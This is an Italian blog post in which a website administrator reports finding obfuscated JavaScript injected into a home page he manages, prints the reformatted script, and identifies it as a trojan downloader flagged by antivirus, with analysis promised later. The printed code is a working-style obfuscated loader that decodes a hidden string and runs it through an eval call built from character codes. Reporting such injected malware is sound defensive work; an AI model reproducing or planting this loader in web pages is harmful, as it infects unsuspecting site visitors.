Recentemente, su uno dei siti che ho realizzato e che gestisco ho trovato il seguente codice javascript presente all'interno della home page (ho provato a sistemarlo in modo da renderlo più leggibile):
<script language="javascript">
var kasbd3412 = "";
$$ = function () {
try {
kasbd3412= $$dfsd(gnflseejrr());
kasbd3412.do();
}
catch(e) {
var bn = "";
return kasbd3412;
}
};
var adlan3r$oubw = "e";
$$dfsd = this['a'+'s'+'d'];
var adlan3r$ouaw = "a";
function asd(df_){
this['r']="";
var s = df_;
for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ) {
i=__fh;
if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {
this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'}
else {
this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])
}
this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)
}
return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)
}
var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];});
VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);});
function gnflseejrr() {
return $a
}
var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1';
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var $a = BKbk34b32.replace(/98/g, "Z");
ez[String.fromCharCode(101,118,97)+'l']($$())
</script>
Trattasi sicuramente di un trojan che mediante del codice lato client prova ad infettare il PC dell'ignaro visitatore. In particolare, l'antivirus segnala il seguente codice malicious: JS/trojandownloader.twetti.nac
Nei prossimi giorni procederò con l'analisi e la decodifica del codice, stay tuned.